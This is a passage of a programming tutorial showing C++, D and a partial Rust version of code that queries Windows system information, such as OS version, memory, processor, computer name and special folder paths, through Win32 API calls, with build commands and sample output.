 [ITEM 2] Id = 976 ; price = 1250.609985; product = Old fashioned feature phone XYZW
 [STATUS] Type return to terminate this application

Check generated files from other terminal

$ type testfile.txt
 =>> Buffer line 1 - test - Gotta love Windows NT
 =>> C# CSharp, Dot net, Ponto NET - JAVA

# Not possible to show file content because it contains
# structured binary data (non readable bytes)
$ type inventory.dat
╚)£zCSome unknown productHç√╞ ⌂☺☺☺hpKá‼↑►H^r♥╞ ⌂☺... ....

1.12 System Information

1.12.1 Oveview

Sample codes using several Windows API subroutines for obtaining system information such as path to key directories, amount of working memory, username and etc.

Documentation

1.12.2 C++ Sample Code Version

File: sysinfo.cpp

#include <iostream>
#include <string>
#include <cassert>

#include <windows.h>
#include <shfolder.h>  // For CSIDL_ constants
#include <shlobj.h>    // For CSIDL_ constants
// #include <shlobj_core.h>
#include <VersionHelpers.h>
#include <sysinfoapi.h>

std::string getSystemDirectory();
std::string getWindowsDirectory();


// Wrap functions with signature:
//   =>> using Func = UINT (*) (TCHAR* buffer, UINT n)
//
// The function returns a string by writing n bytes to the buffer
// and returns the string lenght in bytes. If the buffer is not
// enough larger to hold the string, the calling code should resize
// it with the number of characters returned by the function call.
//
template<typename Func, typename T = UINT>
auto wrap_fun(Func&& func) -> std::string;

template<typename Func>
auto wrap_fun2(Func&& func, DWORD size) -> std::string;

std::string get_shfolder_path(int csidl);
void        show_system_memory_info();
void        show_windows_version();
void        show_processor_info();

int main()
{

  std::puts("\n ======= Windows Version ==================");
  std::cout << std::boolalpha;
  show_windows_version();

  std::cout << " [*] Is it Windows Sever? = " << ::IsWindowsServer()      << '\n';
  std::cout << " [*] Is >= Windows 10?    = " << ::IsWindows10OrGreater() << '\n';
  std::cout << " [*] Is >= Windows XP?    = " << ::IsWindowsXPOrGreater() << '\n';
  std::cout << " [*] Is >= Windows 8?     = " << ::IsWindows8OrGreater() << '\n';


  std::puts("\n ======== System Memory Info  ==============");
  show_system_memory_info();

  std::puts("\n ======== Hardware Info  ===================");
  show_processor_info();

  std::puts("\n ======== System Information ==============");

  std::cout << " [*] Path to Windows Directory = "
            << wrap_fun(&GetWindowsDirectoryA) << std::endl;

  std::cout << " [*] Path to Windows System Directory = "
            << wrap_fun(&GetSystemDirectoryA) << std::endl;

  std::cout << " [*] Path to WOW64 Directory = "
            << wrap_fun(&GetSystemWow64DirectoryA) << std::endl;

  std::cout << " [*] Computer name = "
            << wrap_fun2(&GetComputerNameA, 32767) << '\n';

  // Note: This function fails if the username uses
  // non ASCII characters such as Japanese Hiragrama
  //, Katakana or Kanji.
  std::cout << " [*] Username (account login name) = "
            << wrap_fun2(&GetUserNameA, 32767) << '\n';

  // Documentation at:
  // https://docs.microsoft.com/en-us/windows/win32/api/shlobj_core/nf-shlobj_core-shgetfolderpatha
  std::puts("\n ========= Special Directories =================");

  std::cout << " =>> AdminTools = "
            << get_shfolder_path(CSIDL_ADMINTOOLS) << '\n';

  std::cout << " =>> AppData = "
            << get_shfolder_path(CSIDL_APPDATA) << '\n';

  std::cout << " =>> LocalAppData = "
            << get_shfolder_path(CSIDL_LOCAL_APPDATA) << '\n';

  std::cout << " =>> CommonAppData = "
            << get_shfolder_path(CSIDL_COMMON_APPDATA) << '\n';

  std::cout << " =>> Common Admin Tools = "
            << get_shfolder_path(CSIDL_COMMON_ADMINTOOLS) << '\n';

   std::cout << " =>> Common Documents = "
            << get_shfolder_path(CSIDL_COMMON_DOCUMENTS) << '\n';

   std::cout << " =>> My Pictures = "
            << get_shfolder_path(CSIDL_MYPICTURES) << '\n';

   std::cout << " =>> Personal Documents = "
            << get_shfolder_path(CSIDL_PERSONAL) << '\n';

   std::cout << " =>> Recent Folder = "
            << get_shfolder_path(CSIDL_RECENT) << '\n';

   std::cout << " =>> Internet Cache = "
            << get_shfolder_path(CSIDL_INTERNET_CACHE) << '\n';

   std::cout << " =>> System Folder = "
            << get_shfolder_path(CSIDL_SYSTEM) << '\n';

   std::cout << " =>> Windows Folder "
            << get_shfolder_path(CSIDL_WINDOWS) << '\n';

   std::cout << " =>> Program Files Folder = "
            << get_shfolder_path(CSIDL_PROGRAM_FILES) << '\n';

   std::cout << " =>> Program Files Common Folder = "
            << get_shfolder_path(CSIDL_PROGRAM_FILES_COMMON) << '\n';

   std::cout << " =>> Startup Folder = "
            << get_shfolder_path(CSIDL_STARTUP) << '\n';

   std::cout << " =>> Startup Menu Folder = "
            << get_shfolder_path(CSIDL_STARTMENU) << '\n';

   std::cout << " =>> Sendto Folder = "
            << get_shfolder_path(CSIDL_SENDTO) << '\n';

   // std::cout << " =>> Recycler Bin Folder = "
   //       << get_shfolder_path(CSIDL_BITBUCKET) << '\n';

  return 0;
}

//=================================//

template<typename Func, typename T = UINT>
auto wrap_fun(Func&& func) -> std::string
{
  T n = 0;
  // Determine the size of the buffer for storing the result.
  n = func(nullptr, 0);
  assert( n != 0 && "Failure => Handle this error." );
  // Create a buffer with N null characters 0x00
  auto buffer = std::string(n, '\0');
  n = func(buffer.data(), n);
  assert( n != 0);
  return buffer;
}


template<typename Func>
auto wrap_fun2(Func&& func, DWORD size) -> std::string
{
  auto buffer = std::string(size, '\0');
  assert( func(buffer.data(), &size) != 0);
  buffer.resize(size);
  return buffer;
}

std::string
get_shfolder_path(int csidl)
{
   std::string path(MAX_PATH, 0);

   HRESULT h = ::SHGetFolderPathA( nullptr
                                ,csidl
                                ,nullptr
                                ,0
                                ,path.data());

   assert( SUCCEEDED(h) );

   // Find position of first null char in the buffer.
   void* ps = memchr( &path[0], '\0', MAX_PATH);
   ptrdiff_t pA = reinterpret_cast<ptrdiff_t>(ps);
   ptrdiff_t pB = reinterpret_cast<ptrdiff_t>( path.data() );
   path.resize(pA - pB);
   return path;
}

void show_system_memory_info()
{
    MEMORYSTATUSEX st;
    st.dwLength = sizeof(st);
    ::GlobalMemoryStatusEx(&st);

    // Factor => Bytes to megabytes
    constexpr double factor = 1.0 / (1024 * 1024 );

    std::printf(" [*] Percent of total physical memory used        = %ld  \n", st.dwMemoryLoad);
    std::printf(" [*] Total physical memory in Megabytes           = %.3f \n", st.ullTotalPhys * factor );
    std::printf(" [*] Free memory in MB form total physical memory = %.3f \n", st.ullAvailPhys * factor );
    std::printf(" [*] Total size of page file in MB                = %.3f \n", st.ullTotalPageFile * factor );
    std::printf(" [*] Free memory of page file   MB                = %.3f \n", st.ullAvailPageFile * factor );
    std::printf(" [*] Total virtual memory in  MB                  = %.3f \n", st.ullTotalVirtual * factor );
    std::printf(" [*] Free virtual memory MB                       = %.3f \n", st.ullAvailVirtual * factor );
    std::printf(" [*] Amount of extended memory available in MB    = %.3f \n", st.ullAvailExtendedVirtual * factor );
}

void show_windows_version()
{
  DWORD version, majorVersion, minorVersion, build;
  version = majorVersion = minorVersion = build = 0;

  version = GetVersion();
  majorVersion = static_cast<DWORD>( LOBYTE( LOWORD(version) ) );
  minorVersion = static_cast<DWORD>( LOBYTE( HIWORD(version) ) );
  if (version < 0x80000000){ build = static_cast<DWORD>(HIWORD(version));  }           
  std::printf(" [*] Windows Version = %ld.%ld (%ld) \n", majorVersion, minorVersion, build);
}

void show_processor_info()
{
    SYSTEM_INFO info;
    ::GetNativeSystemInfo(&info);

    printf(" [*] Processor architecture = %ld \n", info.wProcessorArchitecture);    

    printf(" [*] Processor arch is x86 = %s \n"
           , PROCESSOR_ARCHITECTURE_INTEL ==  info.wProcessorArchitecture ? "TRUE" : "FALSE");

    printf(" [*] Processor arch is AMD64 x64 (AMD or Intel = %s \n"
           , PROCESSOR_ARCHITECTURE_AMD64 ==  info.wProcessorArchitecture ? "TRUE" : "FALSE");

#if defined(PROCESSOR_ARCHITECTURE_ARM)
        printf(" [*] Processor arch is ARM = %s \n"
           , PROCESSOR_ARCHITECTURE_ARM ==  info.wProcessorArchitecture ? "TRUE" : "FALSE");
#endif 

#if defined(PROCESSOR_ARCHITECTURE_ARM64)   
    printf(" [*] Processor arch is ARM64 = %s \n"
           , PROCESSOR_ARCHITECTURE_ARM64 ==  info.wProcessorArchitecture ? "TRUE" : "FALSE");
#endif 

    printf(" [*] Page size (virtual memory) in bytes = %ld \n", info.dwPageSize);
    printf(" [*] Number of processors                = %ld \n", info.dwNumberOfProcessors);

}

Building and running (MINGW compiler)

$ g++ sysinfo.cpp -o sysinfo.exe -std=c++1z -Wall -Wextra -g -static && .\sysinfo.exe

======= Windows Version ==================
[*] Windows Version = 10.98 (19042) 
[*] Is it Windows Sever? = false
[*] Is >= Windows 10?    = true
[*] Is >= Windows XP?    = true
[*] Is >= Windows 8?     = true

======== System Memory Info  ==============
[*] Percent of total physical memory used        = 45  
[*] Total physical memory in Megabytes           = 4095.484 
[*] Free memory in MB form total physical memory = 2219.480 
[*] Total size of page file in MB                = 5503.484 
[*] Free memory of page file   MB                = 3580.918 
[*] Total virtual memory in  MB                  = 134217727.875 
[*] Free virtual memory MB                       = 134213543.578 
[*] Amount of extended memory available in MB    = 0.000 

======== Hardware Info  ===================
[*] Processor architecture = 9 
[*] Processor arch is x86 = FALSE 
[*] Processor arch is AMD64 x64 (AMD or Intel = TRUE 
[*] Processor arch is ARM = FALSE 
[*] Processor arch is ARM64 = FALSE 
[*] Page size (virtual memory) in bytes = 4096 
[*] Number of processors                = 2 

======== System Information ==============
[*] Path to Windows Directory = C:\WINDOWS\0
[*] Path to Windows System Directory = C:\WINDOWS\system32\0
[*] Path to WOW64 Directory = C:\WINDOWS\SysWOW64\0
[*] Computer name = DESKTOP-GLJQDB6
[*] Username (account login name) = user_001\0

========= Special Directories =================
=>> AdminTools = C:\Users\user_001\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools
=>> AppData = C:\Users\user_001\AppData\Roaming
=>> LocalAppData = C:\Users\user_001\AppData\Local
=>> CommonAppData = C:\ProgramData
=>> Common Admin Tools = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools
=>> Common Documents = C:\Users\Public\Documents
=>> My Pictures = C:\Users\user_001\Pictures
=>> Personal Documents = C:\Users\user_001\Documents
=>> Recent Folder = C:\Users\user_001\AppData\Roaming\Microsoft\Windows\Recent
=>> Internet Cache = C:\Users\user_001\AppData\Local\Microsoft\Windows\INetCache
=>> System Folder = C:\WINDOWS\system32
=>> Windows Folder C:\WINDOWS
=>> Program Files Folder = C:\Program Files
=>> Program Files Common Folder = C:\Program Files\Common Files
=>> Startup Folder = C:\Users\user_001\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
=>> Startup Menu Folder = C:\Users\user_001\AppData\Roaming\Microsoft\Windows\Start Menu
=>> Sendto Folder = C:\Users\user_001\AppData\Roaming\Microsoft\Windows\SendTo

1.12.3 D - DLang Sample Code Version

Definition of SYTEM_INFO struct in C (MSDN Docs)

typedef struct _SYSTEM_INFO {
  union {
    DWORD dwOemId;
    struct {
      WORD wProcessorArchitecture;
      WORD wReserved;
    } DUMMYSTRUCTNAME;
  } DUMMYUNIONNAME;
  DWORD     dwPageSize;
  LPVOID    lpMinimumApplicationAddress;
  LPVOID    lpMaximumApplicationAddress;
  DWORD_PTR dwActiveProcessorMask;
  DWORD     dwNumberOfProcessors;
  DWORD     dwProcessorType;
  DWORD     dwAllocationGranularity;
  WORD      wProcessorLevel;
  WORD      wProcessorRevision;
} SYSTEM_INFO, *LPSYSTEM_INFO;

The last line: '} SYSTEM_INFO, *LPSYSTEM_INFO;' is equivalent to the following statement in C or C++:

// Equivalent statement in C or old C++-style 
typedef struct _SYSTEM_INFO SYSTEM_INFO; 

// Equivalent statement in modern C++ 
using SYSTEM_INFO = struct _SYSTEM_INFO;

// Equivalent statement in C or old C++-style 
typedef struct _SYSTEM_INFO * LPSYSTEM_INFO; 

// Equivalent statement in modern C++ 
using LPSYSTEM_INFO = struct _SYSTEM_INFO *;

Definition MEMORYSTATUSEX in C: (MSDN)

typedef struct _MEMORYSTATUSEX {
  DWORD     dwLength;
  DWORD     dwMemoryLoad;
  DWORDLONG ullTotalPhys;
  DWORDLONG ullAvailPhys;
  DWORDLONG ullTotalPageFile;
  DWORDLONG ullAvailPageFile;
  DWORDLONG ullTotalVirtual;
  DWORDLONG ullAvailVirtual;
  DWORDLONG ullAvailExtendedVirtual;
} MEMORYSTATUSEX, *LPMEMORYSTATUSEX;

Files

File: systeminfo.d

import std.stdio;
import core.stdc.stdio;
import std.range: empty;
import std.string;
import core.stdc.string: strlen;
import std.conv : to;

//---- Useful type aliases ------------//
alias HANDLE  = void*;
alias HWND    = void*;
alias LPCSTR  = const char*;
alias LPSTR   = char*;
alias WORD    = short;
alias DWORD   = int;
alias DWORD_PTR = DWORD*;
alias LPDWORD = DWORD*;
alias UINT    = uint;
alias HRESULT = long;
alias BOOL    = int;
alias ULONGLONG = long; // int64 - 64 bits 
alias DWORDLONG = long; 
alias LPVOID    = void*;

int main()
{
  printf(" [TRACE] Started D application. Ok \n\n");

  writeln("\n ======== General Basic Info =================\n");

  writeln(" [INFO] Computer Name = ", computer_name());
  writeln(" [INFO] Windows System Directory path = "
          , wrap_function(&GetSystemWindowsDirectoryA ) );
  writeln(" [INFO] Windows Directory =  "
          , wrap_function(&GetSystemDirectoryA));
  writeln(" [INFO] Windows Wow64 Directory =  "
          , wrap_function(&GetSystemWow64DirectoryA) );

  writeln("\n ======== Processor Information ============\n");
  show_processor_info();

  writeln("\n ======== Memory Information ================\n");

  MEMORYSTATUSEX st;
  st.dwLength = st.sizeof ;
  GlobalMemoryStatusEx(&st);
  // Factor => Bytes to megabytes
  const double factor = 1.0 / (1024 * 1024 );
  printf(" [*] Percent of total physical memory used        = %ld  \n", st.dwMemoryLoad);
  printf(" [*] Total physical memory in Megabytes           = %.3f \n", st.ullTotalPhys * factor );
  printf(" [*] Free memory in MB form total physical memory = %.3f \n", st.ullAvailPhys * factor );
  printf(" [*] Total size of page file in MB                = %.3f \n", st.ullTotalPageFile * factor );
  printf(" [*] Free memory of page file   MB                = %.3f \n", st.ullAvailPageFile * factor );
  printf(" [*] Total virtual memory in  MB                  = %.3f \n", st.ullTotalVirtual * factor );
  printf(" [*] Free virtual memory MB                       = %.3f \n", st.ullAvailVirtual * factor );
  printf(" [*] Amount of extended memory available in MB    = %.3f \n", st.ullAvailExtendedVirtual * factor );  



  writeln("\n ===========  Directory Paths ===============\n");
  writeln(" [INFO] Profiles path      =  ", get_sh_folder_path(CSIDL_PROFILE)         );
  writeln(" [INFO] AppData path       =  ", get_sh_folder_path(CSIDL_APPDATA)         );
  writeln(" [INFO] LocalAppData path  =  ", get_sh_folder_path(CSIDL_LOCAL_APPDATA)   );
  writeln(" [INFO] Start menu path    =  ", get_sh_folder_path(CSIDL_STARTMENU)       );
  writeln(" [INFO] Desktop path       =  ", get_sh_folder_path(CSIDL_DESKTOP)         );
  writeln(" [INFO] Admin Tools Path   =  ", get_sh_folder_path(CSIDL_ADMINTOOLS)      );
  writeln(" [INFO] Favorite path      =  ", get_sh_folder_path(CSIDL_FAVORITES)       );
  writeln(" [INFO] Startup path       =  ", get_sh_folder_path(CSIDL_STARTUP)         );
  writeln(" [INFO] Recent folder path =  ", get_sh_folder_path(CSIDL_RECENT)          );
  writeln(" [INFO] Sendto path        =  ", get_sh_folder_path(CSIDL_SENDTO)          );   
  writeln(" [INFO] Program path       =  ", get_sh_folder_path(CSIDL_PROGRAM_FILES)   );
  writeln(" [INFO] Windows path       =  ", get_sh_folder_path(CSIDL_WINDOWS)         );
  writeln(" [INFO] System path        =  ", get_sh_folder_path(CSIDL_SYSTEM)          );
  writeln(" [INFO] Fonts folder       =  ", get_sh_folder_path(CSIDL_FONTS)           );
  writeln(" [INFO] System 86 path     =  ", get_sh_folder_path(CSIDL_SYSTEMX86)       );
  writeln(" [INFO] Progrm Files x86   =  ", get_sh_folder_path(CSIDL_PROGRAM_FILESX86));


  // Display Final Message is graphical GUI modal dialog.
  MessageBoxA( // Pointer 
              null
              // Text - content 
             , "Application terminated Ok"
              // Title 
             , "Notification"
              // Flags 
             , 0x00000000 | 0x00000020 );


  writeln(" [TRACE] Terminated gracefully. Ok ");
  return 0;
}

// ===========================================================================//

struct MEMORYSTATUSEX
{
    DWORD dwLength;
    DWORD dwMemoryLoad;
    DWORDLONG ullTotalPhys;
    DWORDLONG ullAvailPhys;
    DWORDLONG ullTotalPageFile;
    DWORDLONG ullAvailPageFile;
    DWORDLONG ullTotalVirtual;
    DWORDLONG ullAvailVirtual;
    DWORDLONG ullAvailExtendedVirtual;
};

alias LPMEMORYSTATUSEX = MEMORYSTATUSEX*;

struct SYSTEM_INFO
{
  union  DUMMYUNIONNAME
  {
    DWORD dwOemId;

    struct DUMMYSTRUCTNAME
    {
      WORD wProcessorArchitecture;
      WORD wReserved;
    };

    DUMMYSTRUCTNAME proc;
  };
  DUMMYUNIONNAME dummy;

  DWORD     dwPageSize;
  LPVOID    lpMinimumApplicationAddress;
  LPVOID    lpMaximumApplicationAddress;
  DWORD_PTR dwActiveProcessorMask;
  DWORD     dwNumberOfProcessors;
  DWORD     dwProcessorType;
  DWORD     dwAllocationGranularity;
  WORD      wProcessorLevel;
  WORD      wProcessorRevision;
};

alias LPSYSTEM_INFO = SYSTEM_INFO*;

extern(C) BOOL GetComputerNameA(LPSTR lpBuffer, LPDWORD nSize);
extern(C) UINT GetSystemWindowsDirectoryA(LPSTR buffer, UINT size);
extern(C) UINT GetSystemDirectoryA(LPSTR buffer, UINT size);
extern(C) UINT GetSystemWow64DirectoryA(LPSTR buffer, UINT size);

extern(Windows) int MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

extern (Windows) HRESULT SHGetFolderPathA(  HWND hwnd, int csidl, HANDLE hToken
                                          , DWORD flag, LPSTR path);


extern(Windows) BOOL GlobalMemoryStatusEx(LPMEMORYSTATUSEX lpBuffer);

extern(C) void GetNativeSystemInfo(LPSYSTEM_INFO lpSystemInfo);

// Type alias for C function pointer
alias callback_t = extern(C) UINT function(LPSTR buffer, UINT size);

string wrap_function(callback_t callback)
{
  // Stack-allocated buffer, similar to char buffer[2048] in C or C++.
  char[2048] buffer;
  UINT len = callback(&buffer[0], 2048);
  string res = to!string(buffer[0 .. len]);
  return res;
}

string get_sh_folder_path(int csidl)
{
  char[600] buffer;
  SHGetFolderPathA(null, csidl, null, 0, &buffer[0]);
  // Obtain number of characters until `\0` null char is found.
  auto len = strlen( cast(const char*) buffer);
  // Remove trailing null characters 
  string res = to!string(buffer[0 .. len]);
  return res;
}

string computer_name()
{  
  char[600] buffer;
  DWORD size = 600;
  BOOL status = GetComputerNameA(&buffer[0], &size);
  assert( status == 1);
  auto len = strlen( cast(const char*) buffer);
  string res = to!string(buffer[0 .. len]);
  return res;
}

const DWORD PROCESSOR_ARCHITECTURE_INTEL    = 0;
const DWORD PROCESSOR_ARCHITECTURE_MIPS     = 1;
const DWORD PROCESSOR_ARCHITECTURE_ALPHA    = 2;
const DWORD PROCESSOR_ARCHITECTURE_PPC      = 3;
const DWORD PROCESSOR_ARCHITECTURE_SHX      = 4;
const DWORD PROCESSOR_ARCHITECTURE_ARM      = 5;
const DWORD PROCESSOR_ARCHITECTURE_IA64     = 6;
const DWORD PROCESSOR_ARCHITECTURE_ALPHA64  = 7;
const DWORD PROCESSOR_ARCHITECTURE_MSIL     = 8;
const DWORD PROCESSOR_ARCHITECTURE_AMD64    = 9;
const DWORD PROCESSOR_ARCHITECTURE_ARM64    = 12;
const DWORD PROCESSOR_ARCHITECTURE_UNKNOWN  = 0xFFFF;

void show_processor_info()
{
    SYSTEM_INFO info;
    GetNativeSystemInfo(&info);

    auto arch = info.dummy.proc.wProcessorArchitecture;
    writeln(" [*] Processor architecture = ", arch);    

    writeln(" [*] Processor arch is x86 = "
           , PROCESSOR_ARCHITECTURE_INTEL ==  cast(int) arch ? "TRUE" : "FALSE");

    writeln(" [*] Processor arch is AMD64 x64 (AMD or Intel) =  "
           , PROCESSOR_ARCHITECTURE_AMD64 ==  cast(int) arch ? "TRUE" : "FALSE");

    writeln(" [*] Processor arch is ARM = "
           , PROCESSOR_ARCHITECTURE_ARM ==  cast(int) arch ? "TRUE" : "FALSE");

    writeln(" [*] Processor arch is ARM64 = "
           , PROCESSOR_ARCHITECTURE_ARM64 ==  cast(int) arch ? "TRUE" : "FALSE");

    writeln(" [*] Page size (virtual memory) in bytes = ", info.dwPageSize);
    writeln(" [*] Number of processors = ", info.dwNumberOfProcessors);

}


const int CSIDL_PROFILE           = 0x0028;
const int CSIDL_DESKTOP           = 0x0000;
const int CSIDL_PROGRAMS          = 0x0002;
const int CSIDL_STARTMENU         = 0x000b;
const int CSIDL_APPDATA           = 0x001a;
const int CSIDL_PROGRAM_FILES     = 0x0026;
const int CSIDL_ADMINTOOLS        = 0x0030;
const int CSIDL_LOCAL_APPDATA     = 0x001c;
const int CSIDL_FAVORITES         = 0x0006;
const int CSIDL_STARTUP           = 0x0007;
const int CSIDL_RECENT            = 0x0008;
const int CSIDL_SENDTO            = 0x0009;
const int CSIDL_WINDOWS           = 0x0024;
const int CSIDL_SYSTEM            = 0x0025;
const int CSIDL_FONTS             = 0x0014;
const int CSIDL_PROGRAM_FILESX86  = 0x002a;
const int CSIDL_SYSTEMX86         = 0x0029;

Building

$ dmd sysinfo.d  -m64 Kernel32.lib Ntdll.lib User32.lib

Analyzing the PE32 executable binary file

# Location of tool
$ where ldd
C:\Users\User_001\scoop\apps\git\current\usr\bin\ldd.exe

# Location of tool
$ where file
C:\Users\User_001\scoop\apps\git\current\usr\bin\file.exe

# Check file type 
$ file sysinfo.exe
sysinfo.exe: PE32+ executable (console) x86-64, for MS Windows

# Check file size in Kilo bytes  (Kbytes)
$ du -h sysinfo.exe
476K    sysinfo.exe

# View dependencies (Shared libraries)
$ ldd sysinfo.exe
        ntdll.dll => /c/WINDOWS/SYSTEM32/ntdll.dll (0x7ffe52eb0000)
        KERNEL32.DLL => /c/WINDOWS/System32/KERNEL32.DLL (0x7ffe510c0000)
        KERNELBASE.dll => /c/WINDOWS/System32/KERNELBASE.dll (0x7ffe50b30000)
        USER32.dll => /c/WINDOWS/System32/USER32.dll (0x7ffe51920000)
        win32u.dll => /c/WINDOWS/System32/win32u.dll (0x7ffe50870000)
        GDI32.dll => /c/WINDOWS/System32/GDI32.dll (0x7ffe515c0000)
        gdi32full.dll => /c/WINDOWS/System32/gdi32full.dll (0x7ffe50e00000)
        msvcp_win.dll => /c/WINDOWS/System32/msvcp_win.dll (0x7ffe50720000)
        ucrtbase.dll => /c/WINDOWS/System32/ucrtbase.dll (0x7ffe505f0000)
        SHELL32.dll => /c/WINDOWS/System32/SHELL32.dll (0x7ffe51ac0000)

Running

$ .\sysinfo.exe
 [TRACE] Started D application. Ok


 ======== General Basic Info =================

 [INFO] Computer Name = DESKTOP-GLXQAB76A
 [INFO] Windows System Directory path = C:\WINDOWS
 [INFO] Windows Directory =  C:\WINDOWS\system32
 [INFO] Windows Wow64 Directory =  C:\WINDOWS\SysWOW64

 ======== Processor Information ============

 [*] Processor architecture = 9
 [*] Processor arch is x86 = FALSE
 [*] Processor arch is AMD64 x64 (AMD or Intel) =  TRUE
 [*] Processor arch is ARM = FALSE
 [*] Processor arch is ARM64 = FALSE
 [*] Page size (virtual memory) in bytes = 4096
 [*] Number of processors = 2

 ======== Memory Information ================

 [*] Percent of total physical memory used        = 40
 [*] Total physical memory in Megabytes           = 4095.484
 [*] Free memory in MB form total physical memory = 2447.137
 [*] Total size of page file in MB                = 4799.484
 [*] Free memory of page file   MB                = 2882.293
 [*] Total virtual memory in  MB                  = 134217727.875
 [*] Free virtual memory MB                       = 134213528.680
 [*] Amount of extended memory available in MB    = 0.000

 ===========  Directory Paths ===============

 [INFO] Profiles path      =  C:\Users\User_001
 [INFO] AppData path       =  C:\Users\User_001\AppData\Roaming
 [INFO] LocalAppData path  =  C:\Users\User_001\AppData\Local
 [INFO] Start menu path    =  C:\Users\User_001\AppData\Roaming\Microsoft\Windows\Start Menu
 [INFO] Desktop path       =  C:\Users\User_001\Desktop
 [INFO] Admin Tools Path   =  C:\Users\User_001\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools
 [INFO] Favorite path      =  C:\Users\User_001\Favorites
 [INFO] Startup path       =  C:\Users\User_001\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
 [INFO] Recent folder path =  C:\Users\User_001\AppData\Roaming\Microsoft\Windows\Recent
 [INFO] Sendto path        =  C:\Users\User_001\AppData\Roaming\Microsoft\Windows\SendTo
 [INFO] Program path       =  C:\Program Files
 [INFO] Windows path       =  C:\WINDOWS
 [INFO] System path        =  C:\WINDOWS\system32
 [INFO] Fonts folder       =  C:\WINDOWS\Fonts
 [INFO] System 86 path     =  C:\WINDOWS\SysWOW64
 [INFO] Progrm Files x86   =  C:\Program Files (x86)
 [TRACE] Terminated gracefully. Ok

1.12.4 Rust Sample Code Version

This rust version is an stil incomplete attempt of rewrite the C++ version.

File: sysinfo.rs

#[allow(warnings, unused_variables)]
#[allow(warnings, unused_imports)]
#[allow(dead_code)]
#[allow(warnings, unused_mut)]

use std::os::raw::{c_int, c_char, c_long, c_void, c_uint};
use std::ffi::CString;

// Useful Type aliases
type HANDLE  = *mut c_void;
type HWND    = *mut c_void;
type LPCSTR  = *const c_char;
type LPSTR   = *mut u8;
type DWORD   = c_int;
type UINT    = c_uint;
type HRESULT = c_long;
type BOOL    = c_int;

fn main()
{
    // The type [u8, 400] => Is similar to C++ type: uint8_t var[400]
    // or to the type std::array<uint8_t, 400>.
    let mut buffer2: [u8; 400] = [0; 400];
    let mut nread: UINT;
    unsafe {
        //GetSystemWindowsDirectoryA(buffer.as_mut_ptr(), buffer_size as UINT );
        nread = GetSystemWindowsDirectoryA(buffer2.as_mut_ptr(), buffer2.len() as UINT); 
    }

    // println!(" [INFO] Windows path = {:?}", buffer);
    // println!(" [INFO] Buffer2 = {:?}", buffer2);
    let s = std::str::from_utf8(&buffer2[..(nread as usize)]).unwrap();
    println!(" [INFO] Windows System Directory Path[2] = {:?}", s);

    println!(" [INFO] Windows System Directory Path[1] = {}"
             , wrap_function(GetSystemWindowsDirectoryA) );

    println!(" [INFO] Windows Directory = {} "
             , wrap_function(GetSystemDirectoryA) );

    println!(" [INFO] Windows Wow64 Directory = {} "
             , wrap_function(GetSystemWow64DirectoryA) );

    const CSIDL_PROFILE:          c_int = 0x0028;
    const CSIDL_DESKTOP:          c_int = 0x0000;
    const CSIDL_PROGRAMS:         c_int = 0x0002;
    const CSIDL_STARTMENU:        c_int = 0x000b;
    const CSIDL_APPDATA:          c_int = 0x001a;
    const CSIDL_PROGRAM_FILES:    c_int = 0x0026;
    const CSIDL_ADMINTOOLS:       c_int = 0x0030;
    const CSIDL_LOCAL_APPDATA:    c_int = 0x001c;
    const CSIDL_FAVORITES:        c_int = 0x0006;
    const CSIDL_STARTUP:          c_int = 0x0007;
    const CSIDL_RECENT:           c_int = 0x0008;
    const CSIDL_SENDTO:           c_int = 0x0009;
    const CSIDL_WINDOWS:          c_int = 0x0024;
    const CSIDL_SYSTEM:           c_int = 0x0025;
    const CSIDL_FONTS:            c_int = 0x0014;
    const CSIDL_PROGRAM_FILESX86: c_int = 0x002a;
    const CSIDL_SYSTEMX86:        c_int = 0x0029;


    println!("\n ==========================================");
    println!(" [INFO] Profiles path      = {} ", get_sh_folder_path(CSIDL_PROFILE)       );
    println!(" [INFO] AppData path       = {} ", get_sh_folder_path(CSIDL_APPDATA)       );
    println!(" [INFO] LocalAppData path  = {} ", get_sh_folder_path(CSIDL_LOCAL_APPDATA) );
    println!(" [INFO] Start menu path    = {} ", get_sh_folder_path(CSIDL_STARTMENU)     );
    println!(" [INFO] Desktop path       = {} ", get_sh_folder_path(CSIDL_DESKTOP)       );
    println!(" [INFO] Admin Tools Path   = {} ", get_sh_folder_path(CSIDL_ADMINTOOLS)    );
    println!(" [INFO] Favorite path      = {} ", get_sh_folder_path(CSIDL_FAVORITES)     );
    println!(" [INFO] Startup path       = {} ", get_sh_folder_path(CSIDL_STARTUP)       );
    println!(" [INFO] Recent folder path = {} ", get_sh_folder_path(CSIDL_RECENT)        );
    println!(" [INFO] Sendto path        = {} ", get_sh_folder_path(CSIDL_SENDTO)        );   
    println!(" [INFO] Program path       = {} ", get_sh_folder_path(CSIDL_PROGRAM_FILES) );
    println!(" [INFO] Windows path       = {} ", get_sh_folder_path(CSIDL_WINDOWS)       );
    println!(" [INFO] System path        = {} ", get_sh_folder_path(CSIDL_SYSTEM)        );
    println!(" [INFO] Fonts folder       = {} ", get_sh_folder_path(CSIDL_FONTS)         );
    println!(" [INFO] System 86 path     = {} ", get_sh_folder_path(CSIDL_SYSTEMX86)     );
    println!(" [INFO] Progrm Files x86   = {} ", get_sh_folder_path(CSIDL_PROGRAM_FILESX86));
}

//========================================================//

#[link(name = "shell32")] 
extern "C" {
    fn SHGetFolderPathA( hwnd: HWND, csidl: c_int
                        , hToken: HANDLE, flag: DWORD, path: LPSTR) -> HRESULT;
}

fn get_sh_folder_path(csidl: c_int) -> String
{
    const max_path: usize = 260;
    let mut buffer: [u8; max_path] = [0; max_path];
    let status: HRESULT;
    unsafe { 
        status = SHGetFolderPathA(  std::ptr::null_mut()
                         , csidl
                         , std::ptr::null_mut()
                         , 0
                         , buffer.as_mut_ptr()
                        );
    }
    assert!( status >= 0);
    let st = std::str::from_utf8( &buffer[..(max_path)] ).unwrap();
    let mut res: String = st.to_string();
    // Remove \0 null characters.
    res = res.trim_matches(char::from(0)).to_string();
    return res;
}

extern "C" {
   /* 
    *   UINT GetSystemWindowsDirectoryA(
    *                   LPSTR lpBuffer,
    *                   UINT  uSize
    *                   );
    **********************************************/
    fn GetSystemWindowsDirectoryA(buffer: LPSTR, size: UINT) -> UINT; 

